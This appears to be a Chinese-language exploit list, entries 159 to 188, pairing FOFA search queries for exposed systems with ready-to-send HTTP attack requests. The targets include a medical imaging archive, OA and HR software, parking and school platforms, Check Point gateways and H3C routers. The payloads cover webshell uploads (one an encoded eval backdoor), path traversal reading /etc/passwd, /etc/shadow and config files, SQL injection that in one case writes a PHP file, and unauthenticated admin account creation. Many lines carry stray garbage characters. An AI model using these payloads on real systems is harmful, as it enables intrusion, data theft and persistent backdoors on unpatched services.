POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: {{Hostname}}
3 C" J; \! q* K! Q0 Q3 ^3 `& rContent-Type: application/x-www-form-urlencoded
2 G" L' o. X" e
object=displayregion&contenthistid=x\'&previewid=1
( t1 e) v! k2 m3 Q- O# l

. P$ n- I( C$ V7 v6 F159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
8 o' g# p$ B* Y4 ^FOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
' ?2 k. F8 y4 y8 tPOST /webservices/WebJobUpload.asmx HTTP/1.1
& g, j- o5 T4 ?( L) T3 M: e* ?Host: x.x.x.x
4 W6 y0 ]( @7 CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
) @$ y& T# H3 O& x4 \! zContent-Length: 1080
Accept-Encoding: gzip, deflate
Connection: close
8 s0 D7 N$ K9 ^4 @( \9 lContent-Type: text/xml; charset=utf-8
Soapaction: "http://rainier/jobUpload"

. Z+ K# g- g$ V/ ^<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
: e7 L( t# C( h2 X" f<soap:Body>
<jobUpload xmlns="http://rainier">
<vcode>1</vcode>
<subFolder></subFolder>
  |' F  T' W1 W% w* t9 F* }9 f" x- y<fileName>abcrce.asmx</fileName>
<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
' M4 R1 L2 g/ s3 K# y- C</jobUpload>
# m& f, s9 V+ \( W4 L2 W" G" |0 V* `( z</soap:Body>
3 [% S" y8 I! y! {$ o5 N& R</soap:Envelope>
/ T3 A" M/ {( i/ ]+ D4 X
5 c8 F" K  i- W' f  `; D
- v9 }. ?, u. b) v9 n: C) d; n/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")

% e' b7 M2 Q$ @5 G) c8 l# t- p% A5 S
160. Sonatype Nexus Repository 3目录遍历与文件读取
CVE-2024-4956
6 z: @& s8 k0 i+ Q* c! F6 RFOFA：title="Nexus Repository Manager"
8 G/ @9 e8 b- @6 e9 \& q" N: x7 FGET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: x.x.x.x
9 p) Q% g  E. z$ a/ e, m( P' pUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
Connection: close
Accept: */*
" y9 C% g5 y4 [& P( r3 N3 dAccept-Language: en
Accept-Encoding: gzip
* m. O5 x6 a5 Z5 C+ k6 f
* L8 S4 {; _' i9 L
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
FOFA：body="/KT_Css/qd_defaul.css"
第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
; [9 q! {0 b: }$ j2 B$ z- lPOST /Webservice.asmx HTTP/1.1
5 ]( X6 Q1 C* j* a+ bHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
' i% L1 E; l" l: o; uConnection: close
. u3 Z# S$ j* W" r1 iContent-Length: 445
  t7 c2 R1 S; M! s: B6 xContent-Type: text/xml
Accept-Encoding: gzip
" i% |, ?+ M2 o2 u
<?xml version="1.0" encoding="utf-8"?>
9 d/ p* Y/ E9 S! v* S; ~+ ~8 C<soap:Envelope xmlns:xsi="
http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
! G* L0 ]: e+ F+ ?+ vxmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<UploadResume xmlns="http://tempuri.org/">
6 K; G) G' A( ]" B<ip>1</ip>
<fileName>../../../../dizxdell.aspx</fileName>
<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
0 u6 p1 G- F  L. Q+ B& w# f<tag>3</tag>
' n6 C5 c9 e2 x" _  h- B4 U</UploadResume>
2 v6 w" S) Z7 S& h, [# C3 t; X</soap:Body>
, Y9 b2 q4 a, f6 N! C</soap:Envelope>
& {7 ^8 N8 ^& ?* t& s) b4 M( F

http://x.x.x.x/dizxdell.aspx

162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
: W/ C: T- x. K  o$ l' tFOFA: app="和丰山海-数字标牌"
/ {" x3 W: B5 o& ?1 ?1 A, Y6 [4 zPOST /QH.aspx HTTP/1.1
Host: x.x.x.x
( G9 \, b/ U7 P0 ^  |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Length: 583
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
Accept-Encoding: gzip
1 s1 C6 ]: Q( Q  h0 S! f. d) O
0 m1 M$ F: [4 ~: D% U& ?- {------WebKitFormBoundaryeegvclmyurlotuey
8 r7 B3 s0 C( d# Q! t; WContent-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
Content-Type: application/octet-stream

<% response.write("ujidwqfuuqjalgkvrpqy") %>
" c$ B. h8 `9 q6 U# I+ R------WebKitFormBoundaryeegvclmyurlotuey
0 t: Q! \4 q9 w8 sContent-Disposition: form-data; name="action"

$ o: W$ O- L8 v+ cupload
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="responderId"
" j: Y+ `) b; w
ResourceNewResponder
0 C. \" _2 _5 `& {/ r1 a) i------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="remotePath"

0 v/ v; y! |$ Z( ?/opt/resources
3 E/ \; U3 U! q- D1 o) w------WebKitFormBoundaryeegvclmyurlotuey--


0 l9 A/ A, B+ c  f1 }( o$ ]http://x.x.x.x/opt/resources/kjuhitjgk.aspx
0 b. A( u: |/ e0 {+ Z9 Q3 D2 _
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
  s( z! v7 @( x# n6 \; QFOFA: icon_hash="-795291075"
. r, M& P1 A2 z8 FPOST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
/ E/ b: M! }2 }6 v% kHost: x.x.x.x
' G, K; |4 H5 `9 I1 C. lUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
$ t, \0 }" ]1 LContent-Length: 293
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod
( V0 G4 m2 h- H" J% [0 Q; [2 v- ^
# U4 B, j2 ]* j% N$ r------iiqvnofupvhdyrcoqyuujyetjvqgocod
' I# ?' W! B  @/ dContent-Disposition: form-data; name="name"

" y) D' h6 R( k1.php
' ], c9 L% F4 s: d------iiqvnofupvhdyrcoqyuujyetjvqgocod
8 P1 m* K1 r& R. q- OContent-Disposition: form-data; name="upfile"; filename="1.php"
6 ^6 w. x* b0 d+ t* A# ^Content-Type: image/jpeg
5 x( V$ d$ {; a' t8 [, l
rvjhvbhwwuooyiioxega
------iiqvnofupvhdyrcoqyuujyetjvqgocod--

  i  Y+ t) S+ T4 |; q3 s4 K
: K5 y+ z& f' {. h, |# i164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
* w: {& V" `: R- gFOFA: title="智慧综合管理平台登入"
: j7 b4 ~- g9 y. E/ g' A  PPOST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
( V2 X; T3 s6 G1 U+ }, rContent-Length: 288
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
+ O& a$ q( e0 x$ wConnection: close
Content-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

------dqdaieopnozbkapjacdbdthlvtlyl
Content-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
+ }5 N& D( x8 U$ T+ R( U5 GContent-Type: image/jpeg

5 v7 u, S; v+ `: F/ S4 H5 q" h. F/ ?<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
& J$ f% {, C2 ~) Y: d------dqdaieopnozbkapjacdbdthlvtlyl--
, [* N! h4 f" m

http://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx

165. OrangeHRM 3.3.3 SQL 注入
CVE-2024-36428
FOFA: app="OrangeHRM-产品"
' o1 W' ~- R) B, o3 n3 }6 rURL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))
7 m) o9 O% X# W" @3 ]

166. 中成科信票务管理平台SeatMapHandler SQL注入
FOFA：body="技术支持：北京中成科信科技发展有限公司"
- L: W" h) N' v- ?, {5 XPOST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
+ K5 X0 X2 Z4 v3 i  {2 zHost:
& W1 l7 Z4 r) V+ N  V7 S7 PPragma: no-cache
6 x$ g& }; S( i6 }9 {* ~Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
+ }2 ]6 N* ~4 A4 r6 _8 W; BAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
: @9 e; l: G1 X0 RAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
Connection: close
Content-Type: application/x-www-form-urlencoded
' \: i8 f, u$ R3 W3 u# S  bContent-Length: 89

Method=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE
0 Z9 o" c1 u# P5 \
# B- w& t1 b7 y
+ @( X6 g, [. U5 s) B$ c167. 精益价值管理系统 DownLoad.aspx任意文件读取
) j: F  h3 e; g& F- Y- gFOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
GET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
; T- ~; J8 n; C* jHost:
" c# p% @( m8 \' I# ]7 }) ^* oUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
3 B! d5 m% U8 {  U/ A9 [# |Content-Type: application/x-www-form-urlencoded
! _+ [4 I* p+ x& DAccept-Encoding: gzip, deflate
Accept: */*
" I! G! ?- U& W% _% K4 vConnection: keep-alive

, {/ |! s( v/ h3 o
168. 宏景EHR OutputCode 任意文件读取
, X, }$ s  @! N/ c; f2 |FOFA：app="HJSOFT-HCM"
GET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Connection: close
( `+ G2 f9 l, h


169. 宏景EHR downlawbase SQL注入
FOFA：app="HJSOFT-HCM"
GET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close



170. 宏景EHR DisplayExcelCustomReport 任意文件读取
9 n, ^+ ^4 z2 H9 H) O4 o( TFOFA：body="/general/sys/hjaxmanage.js"
POST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
Host: balalanengliang
  z$ k# \# K7 u7 ^( c- X5 `User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded

filename=../webapps/ROOT/WEB-INF/web.xml

3 m# \) Y) P; z  _& U/ p
* [3 r3 c' b2 X  N9 H2 f! w# q* q171. 通天星CMSV6车载定位监控平台 SQL注入
FOFA：body="/808gps/"
GET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
0 f* s; E+ i7 hHost: your-ip
0 `: u  X' z- Y5 z- b, dUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
# T' _% T. R# sAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
# N$ V: v# }( kAccept-Encoding: gzip, deflate
( P2 m- Z! T% [3 j; O+ LConnection: close

. F9 \4 U% V" H; w3 U1 o- E
8 ~7 L9 _% Z3 d8 |
+ H% O* H7 H) n172. DT-高清车牌识别摄像机任意文件读取
FOFA：app="DT-高清车牌识别摄像机"
+ O; J( A; K5 j5 x# g. KGET /../../../../etc/passwd HTTP/1.1
/ O6 F  z* n, S' ?Host: your-ip
  g1 ?% ~3 S0 m1 t+ V* FUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
- B. {) A3 U+ F6 T6 A9 e( R% k% [Accept: */*
+ s1 d  C6 D. ~. y  p4 r# v# uConnection: keep-alive
, \5 s5 \6 Y$ ]5 {. m' V( Z
2 z9 Q9 C3 j5 I

9 u0 e; M- l7 r2 c173. Check Point 安全网关任意文件读取
6 _9 a# b2 u3 [CVE-2024-24919
FOFA：app="Check_Point-SSL-Network-Extender"
POST /clients/MyCRL HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded
% r* z9 H9 M0 g+ i6 Q
# l- S- e. e; A) J9 JaCSHELL/../../../../../../../etc/shadow
# d" I2 j6 c# r4 A0 v
  l7 N" N& o3 _) l

174. 金和OA C6 FileDownLoad.aspx 任意文件读取
4 h5 n4 |  {+ P3 E( DFOFA：app="金和网络-金和OA"
GET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
Host: your-ip
  P: t( g, A6 }/ U' s* e% ~3 l) o0 CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
; f( f8 A/ J# M7 q8 r( s. nConnection: close
7 g5 Y* H1 I2 m- k


+ J  i; h& c0 t' n+ s0 i175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
0 A( s8 W5 Y: `; S* b6 T% R6 `, WFOFA：app="金和网络-金和OA"
# D" X2 J# C! r* h# YGET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
! M  H( b1 k8 A$ eHost:
User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
6 U( \# ]# V. Q& v* ZUpgrade-Insecure-Requests: 1


176. 电信网关配置管理系统 rewrite.php 文件上传
FOFA：body="img/login_bg3.png" && body="系统登录"
8 \4 P* i' [, O! G) D' U% SPOST /manager/teletext/material/rewrite.php HTTP/1.1
4 l0 t+ R8 M8 t. {$ x  {Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
7 a3 w) ^- C% Y$ ^: fContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
Connection: close
1 g* h- k0 Q8 `) y3 ?
5 H2 d' M( G/ y) B4 a4 m3 e------WebKitFormBoundaryOKldnDPT
  i: }! i$ X! R0 MContent-Disposition: form-data; name="tmp_name"; filename="test.php"
# r" \% }: A4 N. k( uContent-Type: image/png

+ U7 t1 |; [4 d( I* K9 K<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryOKldnDPT
3 j, Y0 k7 G9 t1 G$ `, DContent-Disposition: form-data; name="uploadtime"
0 P: s% a& P0 k, ?( M" p9 j

------WebKitFormBoundaryOKldnDPT--



177. H3C路由器敏感信息泄露
9 S' U3 O' Q* t; {/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../M60.cfg
& l, V( X; s5 @% ?6 g+ ?$ Z/userLogin.asp/../actionpolicy_status/../GR8300.cfg
* e/ r6 S2 |  d! \) N/userLogin.asp/../actionpolicy_status/../GR5200.cfg
/userLogin.asp/../actionpolicy_status/../GR3200.cfg
2 F- y9 Y0 q6 U/ Q. N3 w4 T/userLogin.asp/../actionpolicy_status/../GR2200.cfg
$ _# K2 z* M. V- S% q* c/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
8 G* h# N# {2 L7 j7 K/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
: V9 N& g  N9 u: C6 k/ a/userLogin.asp/../actionpolicy_status/../ER5200.cfg
/userLogin.asp/../actionpolicy_status/../ER5100.cfg
/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3260.cfg
# s) E9 k& l" h% a1 {6 l/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3200.cfg
/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
# ^9 \* _7 r6 n$ _/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
& [* _9 s" E! S/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3100.cfg
/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg

2 r) i2 m% [: M1 U9 y# ]8 |: l
, t1 w+ O; m; S178. H3C校园网自助服务系统-flexfileupload-任意文件上传
FOFA：header="/selfservice"
0 f) @$ s: r$ E, CPOST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
/ }( }; ?! J, t0 D) G( {. kHost:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Length: 252
1 t7 o, T+ r. v5 KAccept-Encoding: gzip, deflate
, ^: o- x+ h2 [0 kConnection: close
Content-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
-----------------aqutkea7vvanpqy3rh2l
* F8 I5 Q; [( qContent-Disposition: form-data; name="12234.txt"; filename="12234"
Content-Type: application/octet-stream
8 W7 \8 Z  _, U  t* ?  m2 @/ y9 C! NContent-Length: 255

5 v, ~$ H4 ~' J, u12234
+ B  ]1 X" [4 z* ^-----------------aqutkea7vvanpqy3rh2l--

! l) u4 y' D' x, X: j( ]* G
GET /imc/primepush/%2e%2e/flex/12234.txt

2 W0 l, k  _/ K; i3 o
; p- L$ B; c$ d! d% w179. 建文工程管理系统存在任意文件读取
POST /Common/DownLoad2.aspx HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
: v# U% f  C# h! r% n9 t
1 |6 T  E6 B4 \path=../log4net.config&Name=


180. 帮管客 CRM jiliyu SQL注入
FOFA：app="帮管客-CRM"
GET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
3 P8 e- ]/ g) k6 [Host: your-ip
/ H( ]' L& `; d' w! U- K( l0 SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
( h" A0 ~1 K0 N( {4 z3 sAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
7 L" N' D; j# `5 C% u" m+ U3 x. Q
: ^, r' n1 S  v* k. |9 d6 N
9 `1 k3 g! P# T181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
- h+ l+ h" s: g2 b/ g. T/ yFOFA："PDCA/js/_publicCom.js"
6 `- T( ~+ J  u6 ?$ t3 e7 H' SPOST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
! x% z: W  s: d: Q! E0 \Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
9 Z+ b1 w' e6 R- \, T2 F8 gContent-Type: application/x-www-form-urlencoded

; e# |& G+ A' B8 \- S6 u
action=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20

0 f  H) I/ o: @! \0 G) T  G
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
0 X2 ]- t+ V: Z) S+ y* T5 CFOFA："PDCA/js/_publicCom.js"
5 {) c* g; Q1 K$ ?" ?5 M! HPOST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
Host: your-ip
7 j) M, Z* z8 X6 I" NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
- J+ s0 _* D1 WAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
" `& T! n7 b! b+ q( [/ d5 TAccept-Encoding: gzip, deflate, br
. M1 l% w: s; vAccept-Language: zh-CN,zh;q=0.9
8 W% Z. W2 X( _( B" `Connection: close
Content-Type: application/x-www-form-urlencoded

3 d# f9 |( k# y3 w# b
0 l, u. j+ O6 H: W+ W9 iusername=test1234&pwd=test1234&savedays=1
# b7 f% j8 d5 @* h- C. R9 r) }
8 M, `( s1 T# V  u; C5 H# Z
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
1 W) @' C1 z1 HFOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
# Q4 ]# T* g# KGET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
Host: your-ip
3 M" F# U- A- w+ MUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
3 \$ S3 i$ K- K9 `3 O: S& h9 t; m& PAccept-Encoding: gzip, deflate
! {, p' g$ J" h8 L( o9 E  t' eConnection: close
* d8 p8 S( Y# D( W% U

% E9 D- s/ i/ ]" C184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
FOFA：server="SunFull-Webs"
! o# P2 g3 a8 |  Z/ c# D5 BPOST /soap/AddUser HTTP/1.1
& M: {6 H) x# ZHost: your-ip
Accept-Encoding: gzip, deflate
5 P/ A$ s: B! C6 g9 eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
5 G0 g; }6 Q8 J7 p1 U% U' [Accept: application/xml, text/xml, */*; q=0.01
Content-Type: text/xml; charset=utf-8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
X-Requested-With: XMLHttpRequest
. g4 W9 k+ D5 i
; E6 k4 Y3 J/ J2 R
insert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')

1 T. U8 d1 L0 f; o1 l$ Q
185. 瑞友天翼应用虚拟化系统SQL注入
$ F: e. b( I! m( L/ eversion < 7.0.5.1
6 b6 R' S0 z+ W, {0 O3 cFOFA：app="REALOR-天翼应用虚拟化系统"
GET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
Host: host
7 p- e" O: T$ F% L0 M2 @
% ^- x4 p! S: V- |: t  p. R6 d
186. F-logic DataCube3 SQL注入
; F  K" s& U: a+ z" tCVE-2024-31750
F-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
FOFA：title=="DataCube3"
8 X& e+ T* H6 h# b/ |3 bPOST /admin/pr_monitor/getting_index_data.php HTTP/1.1
Host: your-ip
; _6 L" x3 f$ s" `8 SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
# [3 J' e2 ^  N: m: i6 r& nContent-Type: application/x-www-form-urlencoded

# {7 `7 R( x4 J3 y* L5 q  a. \req_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450


6 h9 F1 i3 n$ U& g+ {5 {187. Mura CMS processAsyncObject SQL注入
" @# @% G. }6 e) D- D" K1 KCVE-2024-32640
FOFA："Mura CMS"
. y. `0 s% Q( kPOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded

* ~: D7 g' e0 \% b
object=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1


1 ]) z9 g9 \) a% ~. Q$ ]188. 叁体-佳会视频会议 attachment 任意文件读取
version <= 3.9.7
' P3 f) E; Z# g. f8 e+ F8 }$ AFOFA：body="/system/get_rtc_user_defined_info?site_id"
( P- h2 i  z" OGET /attachment?file=/etc/passwd HTTP/1.1
# i8 d, N9 G- l( F- |! S0 q1 wHost: your-ip
